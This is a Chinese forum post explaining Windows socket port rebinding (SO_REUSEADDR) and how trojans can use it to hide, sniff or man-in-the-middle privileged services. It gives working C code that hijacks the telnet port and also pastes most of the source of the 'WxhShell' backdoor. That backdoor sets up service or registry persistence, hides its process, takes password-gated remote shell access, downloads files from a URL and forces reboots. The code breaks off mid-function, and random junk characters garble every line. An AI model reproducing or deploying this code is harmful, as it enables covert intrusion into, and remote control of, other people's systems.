社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14160阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9"KO!w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \8Mn[G9TL  
l)V!0eW  
  saddr.sin_family = AF_INET; ?LJDBN  
2TH13k$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >FO4]  
3\x@G)1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =o N(1k^  
2K^D%U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sVk+E'q  
qPh @Bl3  
  这意味着什么?意味着可以进行如下的攻击: I r8,=  
.hBq1p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G?:{9. (  
Yt]tRqrh;T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BMubN   
~%SmH [i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iD*%' #u  
#BB,6E   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i!H)@4jX  
&|/@;EA$8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4o+SSS  
1J`<'{*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RMinZ}/  
IM.sW'E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U3Fa.bC6}  
vrRbUwL!  
  #include Z XCq>  
  #include } tq  
  #include C5}c?=#bdf  
  #include    ``;.Oy6jS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ChvSUaCS  
  int main() Ban@$uf  
  { yyp0GV.x  
  WORD wVersionRequested; ?vmu,y  
  DWORD ret; L<t>o":o  
  WSADATA wsaData; n$2Ia E;v  
  BOOL val; u/wWP4'$J@  
  SOCKADDR_IN saddr; Hrjry$t/J  
  SOCKADDR_IN scaddr; &cZQ,o  
  int err; ,;3bPjey  
  SOCKET s; QO1pwrX<  
  SOCKET sc; dTV4 Q`Z  
  int caddsize; F$L2bgQR?'  
  HANDLE mt; 1NHiW v  
  DWORD tid;   I5nxY)v  
  wVersionRequested = MAKEWORD( 2, 2 ); OyI?P_0u  
  err = WSAStartup( wVersionRequested, &wsaData ); `,lm:x+(0  
  if ( err != 0 ) { o#"U8N%r  
  printf("error!WSAStartup failed!\n"); KCBA`N8  
  return -1; L/ L#[  
  } #'DrgZ)W  
  saddr.sin_family = AF_INET; <z'Pj7c[  
   b 7XTOB_HO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^T?zR7r  
?*oBevUnCY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7aF'E1e'3  
  saddr.sin_port = htons(23); NO)Hi)$X6Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FUt{-H!<  
  { Vy.gr4Cm  
  printf("error!socket failed!\n"); Y ~TR`y  
  return -1; iXoEdt)  
  } DOaTp f  
  val = TRUE; X!aC6gujOH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8v<802  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?-Qq\D^+  
  { c -sc*.&  
  printf("error!setsockopt failed!\n"); T!f+H?6  
  return -1; ;J uBybJb  
  } c-`'`L^J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \m xi8Z w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7 @W}>gnf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !:]/MpQ ?  
>z'T"R/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /"J3hSR  
  { rSgOQ  
  ret=GetLastError(); _J,lF-,  
  printf("error!bind failed!\n"); e,?qwZK:y  
  return -1; wsKOafrV  
  } #Dz. 58A  
  listen(s,2); >;K!yI?0  
  while(1) h5o6G1ur  
  { Y 9}ga4  
  caddsize = sizeof(scaddr); 1!S*z^LGl  
  //接受连接请求 ;hgRMkmz4<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <"hq}B  
  if(sc!=INVALID_SOCKET) 0Yk$f1g  
  { &cpqn2Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I.6 qA *  
  if(mt==NULL) _'mK=`>u  
  { TpGnSD  
  printf("Thread Creat Failed!\n"); H3xMoSs  
  break; TFZxk  
  } g=na3^PL6  
  } 4[lym,8C  
  CloseHandle(mt); 6no&2a|D  
  } o.g)[$M8cF  
  closesocket(s); ?:Sqh1-z  
  WSACleanup(); N|2PW ~,  
  return 0; Z]SUr`Z  
  }   M:*)l(  
  DWORD WINAPI ClientThread(LPVOID lpParam) rqWD#FB=z  
  { mVd%sWD  
  SOCKET ss = (SOCKET)lpParam; h:=W`(n5u  
  SOCKET sc; WB.w3w [f  
  unsigned char buf[4096]; szs.B|3X@*  
  SOCKADDR_IN saddr; *5KDu$'(e  
  long num; z7s}-w,  
  DWORD val; SUb:0GUa  
  DWORD ret; n[gc`#7|{e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _Wtwh0[r*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Oj>;[O"  
  saddr.sin_family = AF_INET; Y#zHw< <E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $ vBFs]h  
  saddr.sin_port = htons(23); XI>HC'.0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uC|bC#;  
  { Xd@ d$  
  printf("error!socket failed!\n"); cKB1o0JsYJ  
  return -1; \gGTkH  
  } )@],0yL  
  val = 100; zwJ\F '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] Jnrs  
  { ";Q}Gs}  
  ret = GetLastError(); 4vi [hiV   
  return -1; C ~Doj  
  } VQI[ J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (H;,E-  
  { PQrc#dfc |  
  ret = GetLastError(); "XLFw;o  
  return -1; 1b<[/g9  
  } t+#vcg,G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b/d 1(B@  
  { Tq,dlDDOR  
  printf("error!socket connect failed!\n"); l^2m7 7)  
  closesocket(sc); w7~cY=  
  closesocket(ss); 'F^1)Ga$  
  return -1; =C- b#4Q  
  } 0D/7X9xg9+  
  while(1) g~XR#vl$  
  { |qf ef &  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GK[9Cm"v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pB0 SCS*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OCu/w1 bc  
  num = recv(ss,buf,4096,0); g f<vQb|  
  if(num>0) C$d b) 5-  
  send(sc,buf,num,0); 1fTf+P  
  else if(num==0) ;NF:98  
  break; !8|?0>3)  
  num = recv(sc,buf,4096,0); K?Jo"oy7  
  if(num>0) `(xzCRX  
  send(ss,buf,num,0); ]VaMulb4  
  else if(num==0) Uka(Vr:  
  break; j/F:j5O*  
  } sn8l3h)  
  closesocket(ss); GC[Ot~*_  
  closesocket(sc); &hJQHlyJM0  
  return 0 ; _q}^#-  
  } -Np}<O`./  
y?UB?2 VN  
IM_SZs  
========================================================== \F14]`i  
-d[Gy- J  
下边附上一个代码,,WXhSHELL 825 QS`  
gkDXt^Ob  
========================================================== rQ(u@u;  
C[CNJ66  
#include "stdafx.h" $ve*j=p  
ft$!u-`  
#include <stdio.h> A]MX^eY  
#include <string.h> M4e8PRlI  
#include <windows.h> ,4r 4 <  
#include <winsock2.h> 0 *]ZC'pm  
#include <winsvc.h> G_ #MXFWt  
#include <urlmon.h> a&Me#H{  
}[y_Fr0  
#pragma comment (lib, "Ws2_32.lib") l)f 2T@bHl  
#pragma comment (lib, "urlmon.lib") bZ}T;!U?I  
jxZ_-1  
#define MAX_USER   100 // 最大客户端连接数 }Vfc;2  
#define BUF_SOCK   200 // sock buffer +&.39q !  
#define KEY_BUFF   255 // 输入 buffer 2L S91  
x,c\q$8yH  
#define REBOOT     0   // 重启 _opB,,G  
#define SHUTDOWN   1   // 关机 $49;\pBZl  
#Eqx E o;  
#define DEF_PORT   5000 // 监听端口 _ Gkb[H&RZ  
qmtH0I7)  
#define REG_LEN     16   // 注册表键长度 g6@^n$Y  
#define SVC_LEN     80   // NT服务名长度 |`d-;pk!%  
e\ }'i-  
// 从dll定义API \)cbg#v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {6mFI1;q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >gDKkeLD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j2oU1' b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p-h(C'PqF  
PJAM_K;  
// wxhshell配置信息 Jm 1n|f  
struct WSCFG { HMw}pp:  
  int ws_port;         // 监听端口 w$aejz`[  
  char ws_passstr[REG_LEN]; // 口令 >:0^v'[  
  int ws_autoins;       // 安装标记, 1=yes 0=no =WK's8FB;8  
  char ws_regname[REG_LEN]; // 注册表键名 "Mh}n-oju  
  char ws_svcname[REG_LEN]; // 服务名 9 u>X,2gUR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jSw>z`'#H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <1<0odB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M&KJZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /}S1e P6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EQX?Zs?C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q& esI  
a``Q}.ST  
}; of>H&G)@  
HBZtg  
// default Wxhshell configuration eIbz`|%3  
struct WSCFG wscfg={DEF_PORT, 8COGe=+o  
    "xuhuanlingzhe", >[<f\BN|  
    1, (R!`Z%  
    "Wxhshell", ,#hNHFa'JH  
    "Wxhshell", )!5"\eys  
            "WxhShell Service", HG3iK  
    "Wrsky Windows CmdShell Service", #66u<FaG  
    "Please Input Your Password: ", nMOXy\&mI  
  1, !3\( d{  
  "http://www.wrsky.com/wxhshell.exe", ySH io;g9  
  "Wxhshell.exe" ~I@ % ysR  
    }; ~sTn?~  
Er|j\(jM  
// 消息定义模块 >iI_bcqF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  kZ=yb-~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K*5Ij]j&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y r8gKhv W  
char *msg_ws_ext="\n\rExit."; S^r[%l<'n  
char *msg_ws_end="\n\rQuit."; .]/k#Hv  
char *msg_ws_boot="\n\rReboot..."; ?}No'E1!I  
char *msg_ws_poff="\n\rShutdown..."; =_[Ich,}  
char *msg_ws_down="\n\rSave to "; r|3<UR%  
@1V?94T1  
char *msg_ws_err="\n\rErr!"; }BiA@n,  
char *msg_ws_ok="\n\rOK!"; d6A+pa'2  
72dd%  
char ExeFile[MAX_PATH]; rGzGbI=  
int nUser = 0; MpJ]1  
HANDLE handles[MAX_USER]; "F?p Y@4  
int OsIsNt; E :UJ"6  
rji<g>GQ  
SERVICE_STATUS       serviceStatus; j#9n.i %h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z=TuUl@  
v&xhS yZ  
// 函数声明 zI_pP?4;.q  
int Install(void); SA~oGgk=P  
int Uninstall(void); L/,M@1@R  
int DownloadFile(char *sURL, SOCKET wsh); Kk>va->R  
int Boot(int flag); #^w8Y'{?  
void HideProc(void); 7 ;x to =  
int GetOsVer(void); QPW+L*2  
int Wxhshell(SOCKET wsl); sbV_h;<  
void TalkWithClient(void *cs); g8]$BhRIfr  
int CmdShell(SOCKET sock); BWzo|isv  
int StartFromService(void); L]=LY  
int StartWxhshell(LPSTR lpCmdLine); Z )X(  
>n5Kz]]%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l'?(4 N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); , 1il&  
@Dd3mWKq  
// 数据结构和表定义 1+Bj` ACP  
SERVICE_TABLE_ENTRY DispatchTable[] = YGZa##i  
{ !uhh_3RH  
{wscfg.ws_svcname, NTServiceMain}, +`TwBN,kp-  
{NULL, NULL} p9eTrFDy?  
}; nu6v@<<F>  
[-1Yyy1}  
// 自我安装 ]F4|@+\9  
int Install(void) Jg@eGs\*  
{ ORt)sn&~d  
  char svExeFile[MAX_PATH]; U-#vssJhk  
  HKEY key; ]u%Y8kBe  
  strcpy(svExeFile,ExeFile); wfM|3GS+.  
dEfP272M  
// 如果是win9x系统,修改注册表设为自启动 8%;]]{(B  
if(!OsIsNt) { h[gKyxZ/t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &usum~@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9iGp0_J  
  RegCloseKey(key); )>!y7/3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B &)wJG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;z9U_  
  RegCloseKey(key); hD7Lgi-N)W  
  return 0; "O%xQ N  
    } p:Zhg{sF  
  } u7 {R; QKw  
} KvlLcE~`o  
else { vH{JLN2  
V4|l7  
// 如果是NT以上系统,安装为系统服务 IKnXtydeI}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qhNYQ/uS  
if (schSCManager!=0) t8Giv89{  
{ 3EyVoS6D  
  SC_HANDLE schService = CreateService m"vWu0/#  
  ( uD4$<rSHb  
  schSCManager, l6-%)6u>  
  wscfg.ws_svcname, ExSy/^4f  
  wscfg.ws_svcdisp, JjHQn=3AJ  
  SERVICE_ALL_ACCESS, ?YnB:z*eV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Edl .R}&1  
  SERVICE_AUTO_START, 6{2 9cX.  
  SERVICE_ERROR_NORMAL, \C`2z]V%  
  svExeFile, t,qz%J&a  
  NULL, 4M>EQF&  
  NULL, `YK#m4gc  
  NULL, 0|~3\e/QV  
  NULL, m"~),QwF9  
  NULL ?I 7hbqQd  
  ); C oO0~q  
  if (schService!=0) Ml+O - 3T  
  { 't3nh  
  CloseServiceHandle(schService); <s5s<q2  
  CloseServiceHandle(schSCManager); h\*I*I8C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }z_7?dn/  
  strcat(svExeFile,wscfg.ws_svcname); KOD%>+vG$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |$c~Jq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #mc6;TRZO  
  RegCloseKey(key); qZX\riR  
  return 0; vFsl]|<;8  
    } ^-K ~y  
  }  t/a  
  CloseServiceHandle(schSCManager); t<znz6  
} }E\u2]  
} u]Dds;~"b  
B@,#,-=  
return 1; ]ru UX  
} E^t}p[s  
2$?j'i!  
// 自我卸载 V e4@^Jy;  
int Uninstall(void) \yY2 mr  
{ =kn-F T  
  HKEY key; \>  
/@]@Tz@'  
if(!OsIsNt) { pAc "Wo(Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GD }i=TK  
  RegDeleteValue(key,wscfg.ws_regname); 3 ~\S]  
  RegCloseKey(key); `6y\.6j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { axdRV1+s  
  RegDeleteValue(key,wscfg.ws_regname); [2nPr^  
  RegCloseKey(key); (J`EC  
  return 0; Eo_; N c  
  } %o#|zaK  
} u$mp%d8  
} *x&y24  
else { &(rR)cG  
Z_[jah  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TXK82qTdf  
if (schSCManager!=0) R5MY\^H/A  
{ {&.?u1C.\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A{a`%FAV  
  if (schService!=0) ]nQ(|$rW  
  { GsC4ty  
  if(DeleteService(schService)!=0) { U,GY']J  
  CloseServiceHandle(schService); ^|=3sJ4[U  
  CloseServiceHandle(schSCManager); p`3$NCJN  
  return 0; *\F,?yU  
  } l*n4d[0J  
  CloseServiceHandle(schService); *]* D^'  
  } +AL(K:  
  CloseServiceHandle(schSCManager); +U,>D +  
} 2f.4P]s`T  
} o'p[G]NQ1o  
&!O~ f  
return 1; !7aJfs2  
} Bhw|!Y&%  
v6+<F;G3y>  
// 从指定url下载文件 wM&WR2  
int DownloadFile(char *sURL, SOCKET wsh) ?K^~(D8(  
{ 2^=.jML[  
  HRESULT hr; nAW`G'V#  
char seps[]= "/"; ]LZ,>v  
char *token; a1# 'uS9W  
char *file; ;U$EM+9  
char myURL[MAX_PATH]; ]$?\,`  
char myFILE[MAX_PATH]; f)!7/+9>  
%R LGO&  
strcpy(myURL,sURL); f2RIOL,  
  token=strtok(myURL,seps); o:Q.XWa@MG  
  while(token!=NULL) m6M:l"u  
  { Zywx.@!  
    file=token; ]eIV'lP,j/  
  token=strtok(NULL,seps); ~3s\Q%   
  } =hB0p^a  
7NDjXcuq  
GetCurrentDirectory(MAX_PATH,myFILE); (TFo]c  
strcat(myFILE, "\\"); ex-W{k$  
strcat(myFILE, file); 9>HCt*|_8  
  send(wsh,myFILE,strlen(myFILE),0); /V)4B4  
send(wsh,"...",3,0); -[.A6W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \t@4)+s/)  
  if(hr==S_OK) #[ch?K  
return 0; { aq}Q|?/  
else g\foBK:GE  
return 1; sn.&|)?Fi  
"N*i!h  
} ad[oor/7|  
V-TWC@Y"  
// 系统电源模块 c9)5G+   
int Boot(int flag) lM-*{<B  
{ 2@#`x"0  
  HANDLE hToken; _=RK  
  TOKEN_PRIVILEGES tkp; 1# X*kF  
c-hhA%@Wq  
  if(OsIsNt) { Jl(G4h V'\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D^e7%FX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :T #"bY  
    tkp.PrivilegeCount = 1; ;#Pc^Yzc1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DB;Nr3x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N"rZK/@}  
if(flag==REBOOT) { dt|f4 XWF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ 6-6aYhe  
  return 0; Y+'522er  
} y<A%&  
else { KHJk}]K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZP^7`q)6  
  return 0; ;IX*4E'4s  
} Z* L{;  
  } AV*eGzz`  
  else { yCG<qQz  
if(flag==REBOOT) { 7O.{g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dw]wQ\4B  
  return 0; l9X\\uG&  
} T&PLvyBL  
else { |8YP8o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?\$\YX%/p  
  return 0; [.`%]Z(  
} q^k]e{PD  
}  @M E .  
N_Y*Z`Xb  
return 1; /l@h[}g+d-  
} 2>!? EIE7  
EU"J'?  
// win9x进程隐藏模块 CiSl 0  
void HideProc(void) 37QXML  
{ ]J* y`jn  
-L%2*`-L$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yL>wCD,L  
  if ( hKernel != NULL ) Zc9j_.?*  
  { ,dO$R.h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n%YG)5;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 JR1If  
    FreeLibrary(hKernel); )Mj $/  
  } \<R.F  
g2'Q)w  
return; $ZOKB9QccC  
} xFY< ns  
b-XC\  
// 获取操作系统版本 mC}!;`$8p  
int GetOsVer(void) ^,M&PP6  
{ @\UoZv(  
  OSVERSIONINFO winfo; A->y#KQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4: <=%d  
  GetVersionEx(&winfo); Y[yw8a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0fd\R_"d.  
  return 1; U~w g'  
  else MN22#G4j^w  
  return 0; m*^|9*dIC  
} Y/1,%8n  
o-D,K dY  
// 客户端句柄模块 Iu -CXc  
int Wxhshell(SOCKET wsl) AIXvS*Y,  
{ WZ<kk T  
  SOCKET wsh; 0y3<Ho,+$  
  struct sockaddr_in client; !tNJLOYf  
  DWORD myID; Fc"&lk4e  
*!gj$GK@%  
  while(nUser<MAX_USER) QF fKEMN  
{ X}5aE4K/  
  int nSize=sizeof(client); d$G<g78D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XI*_ti  
  if(wsh==INVALID_SOCKET) return 1; C;jV{sb9c  
Q#i^<WUpg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _x.D< n=X  
if(handles[nUser]==0) g}-Ch#  
  closesocket(wsh); P"g Y|}|  
else $qx&\@O  
  nUser++; Sl{nS1q  
  } -*K!JC-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `>q|_w \e  
B~u_zZE  
  return 0; DJ9;{,gm  
} N+vU@)_lC  
0KF)+`CC>  
// 关闭 socket ,ZYj8^gF  
void CloseIt(SOCKET wsh) #89h}mp'  
{ Bn"r;pqWiT  
closesocket(wsh); [wM<J$=2  
nUser--; YW}1iT/H  
ExitThread(0); Iy}r'#N  
} $DfaW3bJ  
J\%<.S>  
// 客户端请求句柄 V+dfV`*k  
void TalkWithClient(void *cs) l}DCK  
{ IKK<D'6  
K+` Vn  
  SOCKET wsh=(SOCKET)cs; )6?.; B  
  char pwd[SVC_LEN]; Te8BFcJG  
  char cmd[KEY_BUFF]; id-VoHd K  
char chr[1]; Hr$oT=x[  
int i,j; LaZF=<w(  
{}3kla{  
  while (nUser < MAX_USER) { /)i)wxi  
T$]2U>=<J  
if(wscfg.ws_passstr) { /p [l(H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8j,_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f/b }X3K  
  //ZeroMemory(pwd,KEY_BUFF); -?b@6U  
      i=0; >EMgP1  
  while(i<SVC_LEN) { 1q!JpC^  
f=}Mr8W'  
  // 设置超时 oPNYCE  
  fd_set FdRead; y0qE::/H$  
  struct timeval TimeOut; vtFA#})~  
  FD_ZERO(&FdRead); oT5xe[{yj  
  FD_SET(wsh,&FdRead); Ssu{Lj  
  TimeOut.tv_sec=8; TKc&yAK  
  TimeOut.tv_usec=0; ED/-,>[f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tji,by#E/%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !dLz ?0  
mm=Y(G[_%y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ucj)t7O   
  pwd=chr[0]; %6 <Pt  
  if(chr[0]==0xd || chr[0]==0xa) { Kfj*uzKB  
  pwd=0; <LW|m7  
  break; $ Yz &x%Lb  
  } HHZ!mYr  
  i++; kXC.rgal  
    } bE>3D#V<  
ABV\:u  
  // 如果是非法用户,关闭 socket ,l<-*yMD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z1+rz%  
} 1#qCD["8  
LM'` U-/e$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +29;T0>a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T , =ga  
P&aH6*p1  
while(1) { >*}qGk  
3i(k6)H$4  
  ZeroMemory(cmd,KEY_BUFF); MatC2-aV1  
bT-G<h*M  
      // 自动支持客户端 telnet标准   (?\ZN+V)  
  j=0; !BEOeq@2.  
  while(j<KEY_BUFF) { U>;itHW/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1|w,Z+/  
  cmd[j]=chr[0];  ioi  
  if(chr[0]==0xa || chr[0]==0xd) { oz5o=gt7  
  cmd[j]=0; Re1@2a>  
  break; -e(2?Xq9  
  } /&j4IlT  
  j++; [/uKo13  
    } |V 9%@ Y?  
,H[AC}z2X  
  // 下载文件 0D#!!r ;  
  if(strstr(cmd,"http://")) { &`L5UX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s*CKFEb#  
  if(DownloadFile(cmd,wsh)) )+t5G>yKK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=L[kzX  
  else eZHzo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Awx:lw.  
  } 0K3FH&.%  
  else { ($(1KE  
*vAOUqX`x  
    switch(cmd[0]) { g&0GO:F`  
  4_.k Q"'DH  
  // 帮助 J|FyY)_  
  case '?': { &< Gq-IN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1]>KuXd r  
    break; IPxfjBC+J  
  } l!AZ$IV  
  // 安装 u F*cS&'Z  
  case 'i': { ex!^&7Q(  
    if(Install()) V2FE|+R%g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @B9|{[P  
    else ` `;$Kr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ') 1sw%[2  
    break; peqFa._W  
    } H9)uni   
  // 卸载 |C&eH$?~=R  
  case 'r': { Xi{(1o4%  
    if(Uninstall()) 8&C(0H]1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&%!4n#>  
    else e4)g F*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sId5pY!  
    break; @J<B^_+Se  
    } .V.N^8(:a  
  // 显示 wxhshell 所在路径 dY-a,ch"8p  
  case 'p': { >Au<y,Tw  
    char svExeFile[MAX_PATH]; >A,WXzAK}S  
    strcpy(svExeFile,"\n\r"); g?$9~/h :;  
      strcat(svExeFile,ExeFile); }"&(sYQ*`  
        send(wsh,svExeFile,strlen(svExeFile),0); Ro1' L1:  
    break;  ^,KR0  
    } Fo G<$9  
  // 重启 5nj~RUK  
  case 'b': { b<( W}$x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {H+?DMh  
    if(Boot(REBOOT)) BkZ%0rw%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KncoIw  
    else { 'j)eqoj  
